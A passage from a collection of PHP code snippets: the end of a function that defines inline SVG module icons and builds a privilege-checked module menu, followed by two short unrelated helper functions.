style=\"fill:#ff6524;fill-opacity:1;stroke:#505050;stroke-width:1.34325;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#ffb624;fill-opacity:1;stroke:#505050;stroke-width:0.669427;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1481\" width=\"1.6522932\" height=\"36.594509\" x=\"30.548107\" y=\"24.905308\" /> </g> <rect style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:1.80724;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1485\" width=\"38.484158\" height=\"31.685684\" x=\"24.166206\" y=\"34.625195\" /> <rect style=\"fill:#d35400;fill-opacity:1;stroke:#505050;stroke-width:1.16575;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1487\" width=\"1.1278092\" height=\"13.156289\" x=\"60.211086\" y=\"20.653749\" /> <rect y=\"34.625195\" x=\"45.080639\" height=\"31.685684\" width=\"17.569723\" id=\"rect1489\" style=\"fill:#dcdcdc;fill-opacity:1;stroke:none;stroke-width:1.22112;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#1b8eff;fill-opacity:1;stroke:#505050;stroke-width:2.27118;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1491\" width=\"44.190067\" height=\"9.3513784\" x=\"21.305571\" y=\"34.798729\" /> <rect style=\"fill:#ccd1d5;fill-opacity:1;stroke:none;stroke-width:1.91706;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1493\" width=\"13.392535\" height=\"11.290557\" x=\"26.662313\" y=\"52.423279\" /> </g> </g> </g> </svg>',\n 'system' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"system_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1244\" transform=\"translate(-404.83862,119.50776)\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle1701\" cx=\"449.33862\" cy=\"-75.007759\" r=\"44.5\" /> <g transform=\"matrix(0.97432515,0,0,0.97432515,406.46847,-119.45502)\" id=\"g1717\"> <g id=\"g1715\" transform=\"matrix(1.0204816,0,0,1.0204816,-0.83248189,0.60650808)\"> <path d=\"m 55.667278,31.744057 v 4.787716 a 9.834351,10.038859 0 0 0 -5.387687,2.120705 l -3.279044,-3.438233 -1.240342,1.183061 3.279643,3.439439 a 9.834351,10.038859 0 0 0 -2.473453,5.74948 h -4.740679 v 1.714291 h 4.723193 a 9.834351,10.038859 0 0 0 1.946442,5.278549 l -3.427377,3.11322 1.15291,1.268685 3.40567,-3.093927 a 9.834351,10.038859 0 0 0 6.040724,2.69294 v 4.582099 h 1.714896 v -4.612249 a 9.834351,10.038859 0 0 0 5.346079,-2.338383 l 3.320048,3.481043 1.240946,-1.183662 -3.367681,-3.531092 a 9.834351,10.038859 0 0 0 2.240097,-5.657223 h 5.062073 v -1.714291 h -5.079559 a 9.834351,10.038859 0 0 0 -1.883734,-5.012028 l 3.720429,-3.37974 -1.152307,-1.269288 -3.690279,3.352003 a 9.834351,10.038859 0 0 0 -5.756112,-2.714647 v -4.818468 z\" style=\"fill:#ffffff;fill-opacity:1;stroke:#505050;stroke-width:3.50055;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path1703\" /> <ellipse ry=\"5.2658691\" rx=\"5.2658701\" cy=\"46.443069\" cx=\"56.524727\" id=\"ellipse1705\" style=\"fill:#ecbdff;fill-opacity:1;stroke:#505050;stroke-width:3.50055;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path id=\"path1707\" style=\"fill:#ffffff;fill-opacity:1;stroke:#505050;stroke-width:2.5137;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" d=\"m 40.056605,17.33706 -1.111617,3.253326 a 7.0619212,7.208776 18.864581 0 0 -4.153403,0.190133 l -1.42987,-3.097662 -1.117515,0.515923 1.429997,3.098622 a 7.0619212,7.208776 18.864581 0 0 -3.015669,3.332573 l -3.221366,-1.100696 -0.398026,1.164887 3.209484,1.096636 a 7.0619212,7.208776 18.864581 0 0 0.09706,4.038782 l -3.051786,1.319709 0.488855,1.129775 3.032557,-1.31164 a 7.0619212,7.208776 18.864581 0 0 3.479515,3.232436 l -1.063876,3.113607 1.165299,0.398165 1.070875,-3.134093 a 7.0619212,7.208776 18.864581 0 0 4.175673,-0.34771 l 1.447791,3.136273 1.118066,-0.516191 -1.468539,-3.181344 a 7.0619212,7.208776 18.864581 0 0 2.835679,-3.324063 l 3.439757,1.175318 0.398026,-1.164887 -3.45164,-1.179377 a 7.0619212,7.208776 18.864581 0 0 -0.116323,-3.843118 l 3.312799,-1.432773 -0.488306,-1.130044 -3.285872,1.420926 a 7.0619212,7.208776 18.864581 0 0 -3.281078,-3.181104 l 1.118757,-3.274223 z\" /> <ellipse transform=\"rotate(18.864581)\" style=\"fill:#7f8c8d;fill-opacity:1;stroke:#505050;stroke-width:2.5137;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"ellipse1709\" cx=\"43.992702\" cy=\"14.096194\" rx=\"3.7813537\" ry=\"3.7813528\" /> <path d=\"m 34.126266,45.519806 -1.268579,3.517335 a 7.769068,8.0847094 80.78347 0 0 -4.739875,0.205563 l -1.631771,-3.349039 -1.275311,0.557791 1.631915,3.350076 a 7.769068,8.0847094 80.78347 0 0 -3.44149,3.603013 l -3.67623,-1.190018 -0.454228,1.259419 3.662671,1.185628 a 7.769068,8.0847094 80.78347 0 0 0.110769,4.366531 l -3.482707,1.426804 0.557884,1.221457 3.46076,-1.41808 a 7.769068,8.0847094 80.78347 0 0 3.970834,3.49475 l -1.214099,3.366278 1.329841,0.430477 1.222087,-3.388428 a 7.769068,8.0847094 80.78347 0 0 4.765287,-0.375927 l 1.652224,3.390785 1.27594,-0.558081 -1.6759,-3.43951 a 7.769068,8.0847094 80.78347 0 0 3.236084,-3.593813 l 3.92546,1.270695 0.454228,-1.259418 -3.939021,-1.275085 A 7.769068,8.0847094 80.78347 0 0 38.450281,54.164021 L 42.230857,52.614978 41.6736,51.39323 37.923755,52.929464 a 7.769068,8.0847094 80.78347 0 0 -3.744376,-3.439252 l 1.276729,-3.539928 z\" style=\"fill:#ffffff;fill-opacity:1;stroke:#505050;stroke-width:2.79215;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path1711\" /> <ellipse transform=\"matrix(0.95139532,0.3079723,-0.33927307,0.94068793,0,0)\" ry=\"4.1125383\" rx=\"4.2921138\" cy=\"44.294975\" cx=\"48.270733\" id=\"ellipse1713\" style=\"fill:#3498db;fill-opacity:1;stroke:#505050;stroke-width:2.79292;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> </g> </g> </g> </g> </svg>',\n 'reporting' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"reporting_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1267\" transform=\"translate(-516.36298,120.59798)\"> <circle style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"circle1901\" cx=\"560.86298\" cy=\"-76.097977\" r=\"44.5\" /> <g transform=\"matrix(0.92804321,0,0,0.92804321,520.0157,-115.53812)\" id=\"g1941\"> <rect style=\"fill:#ffffff;fill-opacity:1;stroke:#505050;stroke-width:2.72882;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1903\" width=\"46.066586\" height=\"55.778526\" x=\"20.981127\" y=\"14.608912\" /> <g id=\"g1915\" transform=\"translate(-18.975105,11.590445)\"> <rect y=\"30.855707\" x=\"58.4202\" height=\"17.347778\" width=\"2.5664048\" id=\"rect1905\" style=\"fill:#f17f0f;fill-opacity:1;stroke:#505050;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#2ecc71;fill-opacity:1;stroke:#505050;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1907\" width=\"2.5664048\" height=\"14.502365\" x=\"55.376896\" y=\"33.701122\" /> <rect y=\"37.130905\" x=\"52.333588\" height=\"11.072581\" width=\"2.5664048\" id=\"rect1909\" style=\"fill:#3498db;fill-opacity:1;stroke:#505050;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#ff5900;fill-opacity:1;stroke:#505050;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1911\" width=\"2.5664048\" height=\"14.401514\" x=\"49.290279\" y=\"33.801968\" /> <rect y=\"37.943485\" x=\"46.246971\" height=\"10.26\" width=\"2.5664048\" id=\"rect1913\" style=\"fill:#f1c40f;fill-opacity:1;stroke:#505050;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> </g> <rect style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1917\" width=\"18.842707\" height=\"1.2298776\" x=\"24.64933\" y=\"27.746386\" /> <rect y=\"30.647217\" x=\"24.64933\" height=\"1.2298776\" width=\"18.842707\" id=\"rect1919\" style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#7f8c8d;fill-opacity:1;stroke:none;stroke-width:0.935816;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1921\" width=\"37.877144\" height=\"7.3541164\" x=\"24.639267\" y=\"16.698078\" /> <g id=\"g1927\" transform=\"matrix(0.95852127,0,0,0.91364867,3.1976965,-6.4923595)\"> <ellipse ry=\"9.5109682\" rx=\"9.5109673\" cy=\"65.487984\" cx=\"53.384186\" id=\"ellipse1923\" style=\"fill:#3498db;fill-opacity:1;stroke:#505050;stroke-width:0.978064;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path transform=\"matrix(0.00469988,-0.99998896,0.99999192,0.00402008,0,0)\" inkscape:transform-center-y=\"-2.1668337\" inkscape:transform-center-x=\"-5.5960088\" sodipodi:arc-type=\"slice\" sodipodi:end=\"1.5833133\" sodipodi:start=\"0\" sodipodi:ry=\"10.519011\" sodipodi:rx=\"9.7285824\" sodipodi:cy=\"53.966728\" sodipodi:cx=\"-64.537109\" sodipodi:type=\"arc\" style=\"fill:#9b59b6;fill-opacity:1;stroke:#505050;stroke-width:1.04029;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"path1925\" d=\"m -54.808527,53.966728 a 9.7285824,10.519011 0 0 1 -2.892623,7.484469 9.7285824,10.519011 0 0 1 -6.957729,3.033718 l 0.12177,-10.518187 z\" /> </g> <rect y=\"33.038052\" x=\"24.64933\" height=\"1.2298776\" width=\"18.842707\" id=\"rect1929\" style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1931\" width=\"18.842707\" height=\"1.2298776\" x=\"24.64933\" y=\"35.938885\" /> <rect y=\"27.746386\" x=\"45.815998\" height=\"1.2298776\" width=\"18.842707\" id=\"rect1933\" style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1935\" width=\"18.842707\" height=\"1.2298776\" x=\"45.815998\" y=\"30.647217\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1937\" width=\"18.842707\" height=\"1.2298776\" x=\"45.815998\" y=\"33.038052\" /> <rect y=\"35.938885\" x=\"45.815998\" height=\"1.2298776\" width=\"18.842707\" id=\"rect1939\" style=\"fill:#505050;fill-opacity:1;stroke:none;stroke-width:1.03997;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> </g> </g> </g> </svg>',\n 'serial_control' => '<svg class=\"w-10 h-10 inline-block\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:cc=\"http://creativecommons.org/ns#\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:sodipodi=\"http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd\" xmlns:inkscape=\"http://www.inkscape.org/namespaces/inkscape\" sodipodi:docname=\"serialcontrol_web.svg\" inkscape:version=\"1.0 (4035a4fb49, 2020-05-01)\" id=\"svg1469\" version=\"1.1\" viewBox=\"0 0 90 90\" height=\"90mm\" width=\"90mm\"> <defs id=\"defs1463\" /> <sodipodi:namedview inkscape:window-maximized=\"1\" inkscape:window-y=\"25\" inkscape:window-x=\"0\" inkscape:window-height=\"695\" inkscape:window-width=\"1366\" showgrid=\"false\" inkscape:document-rotation=\"0\" inkscape:current-layer=\"layer1\" inkscape:document-units=\"mm\" inkscape:cy=\"170.09694\" inkscape:cx=\"612.49572\" inkscape:zoom=\"0.7\" inkscape:pageshadow=\"2\" inkscape:pageopacity=\"0.0\" borderopacity=\"1.0\" bordercolor=\"#666666\" pagecolor=\"#ffffff\" id=\"base\" /> <metadata id=\"metadata1466\"> <rdf:RDF> <cc:Work rdf:about=\"\"> <dc:format>image/svg+xml</dc:format> <dc:type rdf:resource=\"http://purl.org/dc/dcmitype/StillImage\" /> <dc:title></dc:title> </cc:Work> </rdf:RDF> </metadata> <g id=\"layer1\" inkscape:groupmode=\"layer\" inkscape:label=\"Lapis 1\"> <g id=\"g1286\" transform=\"translate(-281.49057,-2.5378113)\"> <circle r=\"44.5\" cy=\"47.037811\" cx=\"325.99057\" id=\"circle964\" style=\"fill:#eeeeee;fill-opacity:1;stroke:none;stroke-width:0.741699;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <g transform=\"matrix(0.91798972,0,0,0.89364827,284.7082,10.037406)\" id=\"g981\"> <g id=\"g964\"> <rect y=\"16.165668\" x=\"23.852057\" height=\"52.949757\" width=\"25.184425\" id=\"rect2016\" style=\"fill:#3498db;fill-opacity:1;stroke:#505050;stroke-width:2.55707;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#ecf0f1;fill-opacity:1;stroke:#505050;stroke-width:3.26181;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1966\" width=\"41.531956\" height=\"52.245018\" x=\"24.204426\" y=\"16.518038\" /> <rect y=\"16.186131\" x=\"23.872519\" height=\"52.772163\" width=\"27.061792\" id=\"rect2018\" style=\"fill:#16a085;fill-opacity:1;stroke:none;stroke-width:2.64622;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#7f8c8d;fill-opacity:1;stroke:#505050;stroke-width:1.08;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect1970\" width=\"13.623199\" height=\"9.219327\" x=\"50.406734\" y=\"24.585953\" /> <rect y=\"38.142365\" x=\"50.116444\" height=\"0.65573901\" width=\"14.203777\" id=\"rect1972\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <path style=\"fill:#bdc3c7;fill-opacity:1;stroke:#505050;stroke-width:1.08;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1\" d=\"M 50.953404,68.67798 C 47.763061,45.740566 33.02911,62.237914 31.893764,39.516706 l -0.06458,-26.56323 c 3.152654,4.002705 11.302976,-3.3389856 18.675511,2.597708 0.182409,7.448094 -0.342627,14.784271 -0.293811,21.639773 0.07634,10.72012 0.103515,21.13569 0.742518,31.487023 z\" id=\"path1968\" sodipodi:nodetypes=\"ccccscc\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect2006\" width=\"14.203777\" height=\"0.65573901\" x=\"50.116444\" y=\"42.375698\" /> <rect y=\"46.609035\" x=\"50.116444\" height=\"0.65573901\" width=\"14.203777\" id=\"rect2008\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect2010\" width=\"14.203777\" height=\"0.65573901\" x=\"50.116444\" y=\"38.142365\" /> <rect y=\"42.375698\" x=\"50.116444\" height=\"0.65573901\" width=\"14.203777\" id=\"rect2012\" style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" /> <rect style=\"fill:#505050;fill-opacity:1;stroke:#505050;stroke-width:0.294105;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect2014\" width=\"14.203777\" height=\"0.65573901\" x=\"50.116444\" y=\"46.609035\" /> <rect style=\"fill:#1abc9c;fill-opacity:1;stroke:none;stroke-width:1.20148;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:4;stroke-dasharray:none;stroke-dashoffset:0;stroke-opacity:1;paint-order:stroke markers fill\" id=\"rect2020\" width=\"3.3098521\" height=\"46.953247\" x=\"24.204426\" y=\"16.518038\" /> <text id=\"text948\" y=\"64.037369\" x=\"58.702221\" style=\"font-size:7.7611px;line-height:1.25;font-family:sans-serif;letter-spacing:0px;word-spacing:0px;fill:#505050;fill-opacity:1;stroke-width:0.264583\" xml:space=\"preserve\"><tspan style=\"font-style:normal;font-variant:normal;font-weight:normal;font-stretch:normal;font-family:Impact;-inkscape-font-specification:Impact;fill:#505050;fill-opacity:1;stroke-width:0.264583\" y=\"64.037369\" x=\"58.702221\" id=\"tspan946\" sodipodi:role=\"line\">1</tspan></text> </g> </g> </g> </g> </svg>'\n ];\n\n // define other icon for custom module\n $other = [\n '<svg class=\"w-10 h-10 inline-block\" version=\"1.1\" viewBox=\"0 0 90 90\" xmlns=\"http://www.w3.org/2000/svg\"><g><circle cx=\"44.5\" cy=\"44.5\" r=\"44.5\" fill=\"#eee\" style=\"paint-order:stroke markers fill\"/><rect x=\"27.879\" y=\"23.195\" width=\"33.242\" height=\"42.61\" fill=\"#ebf5ff\" stroke=\"#505050\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2.3648\" style=\"paint-order:stroke markers fill\"/><rect x=\"29.312\" y=\"23.198\" width=\"30.875\" height=\"42.605\" fill=\"#bdc3c7\" stroke=\"#505050\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\".68698\" style=\"paint-order:stroke markers fill\"/></g><g stroke=\"#505050\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.3513\"><rect x=\"45.112\" y=\"25.55\" width=\"14.789\" height=\"8.2256\" ry=\"1.3955\" fill=\"#e67e22\" style=\"paint-order:stroke markers fill\"/><rect x=\"44.397\" y=\"35.919\" width=\"14.789\" height=\"8.2256\" ry=\"1.3955\" fill=\"#3498db\" style=\"paint-order:stroke markers fill\"/><rect x=\"44.039\" y=\"45.93\" width=\"14.789\" height=\"8.2256\" ry=\"1.3955\" fill=\"#27ae60\" style=\"paint-order:stroke markers fill\"/></g><g><rect x=\"27.869\" y=\"23.185\" width=\"29.378\" height=\"42.629\" fill=\"#fff\" stroke=\"#505050\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.6694\" style=\"paint-order:stroke markers fill\"/><rect x=\"27.814\" y=\"23.13\" width=\"25.543\" height=\"42.74\" fill=\"#68c2ff\" stroke=\"#505050\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"1.5587\" style=\"paint-order:stroke markers fill\"/><rect x=\"27.879\" y=\"23.192\" width=\"1.4269\" height=\"42.613\" fill=\"#3b9dff\" style=\"paint-order:stroke markers fill\"/><text transform=\"scale(1.13 .88499)\" x=\"33.284637\" y=\"55.413918\" fill=\"#505050\" font-family=\"sans-serif\" font-size=\"20.274px\" stroke-width=\".50686\" style=\"line-height:1.25\" xml:space=\"preserve\"><tspan x=\"33.284637\" y=\"55.413918\" fill=\"#505050\" font-family=\"Cantarell\" stroke-width=\".50686\">?</tspan></text></g></svg>\n '];\n \n\n // Start buffer\n ob_start();\n $module_list = '';\n \n // chunk into 8\n $module_data = array_chunk(getModule(), 8);\n\n // Generate\n foreach ($module_data as $module) \n {\n foreach ($module as $mod) \n {\n // check privileages\n $modname = strtolower($mod[1]);\n // check privileages\n if (isset($_SESSION['priv'][$modname]) && ($_SESSION['priv'][$modname]['r']))\n {\n if (isset($module_icon[$modname]))\n {\n $moduleName = ucwords(str_replace('_', ' ', $modname)); // took from module.inc.php\n $module_list .= '<div class=\"load text-gray-700 text-left px-4 py-2 mx-2 my-1 cursor-pointer hover:shadow-2xl hover:bg-gray-300\" data-path=\"'.modulePath($mod[0]).'\" data-href=\"'.MWB.modulePath($mod[0]).'/index.php\">'.\"\\n\";\n $module_list .= $module_icon[$modname];\n $module_list .= '<span class=\"font-bold inline-block text-center text-md\">'.__($moduleName).'</span>';\n $module_list .= '</div>'.\"\\n\";\n }\n else\n {\n $moduleName = ucwords(str_replace('_', ' ', $modname)); // took from module.inc.php\n $module_list .= '<div class=\"load text-gray-700 text-left px-4 py-2 mx-2 my-1 cursor-pointer hover:shadow-2xl hover:bg-gray-300\" data-path=\"'.modulePath($mod[0]).'\" data-href=\"'.MWB.modulePath($mod[0]).'/index.php\">'.\"\\n\";\n $module_list .= $other[0];\n $module_list .= '<span class=\"font-bold inline-block text-center text-md\">'.__($moduleName).'</span>';\n $module_list .= '</div>'.\"\\n\";\n }\n }\n }\n }\n // set output\n echo $module_list;\n $list = ob_get_clean();\n return $list;\n}",
"public function get_uploaded_header_images()\n {\n }",
"function inline_svg($src)\n{\n return Stringy::collapseWhitespace(\n File::get(statamic_path(\"resources/dist/svg/{$src}.svg\"))\n );\n}",
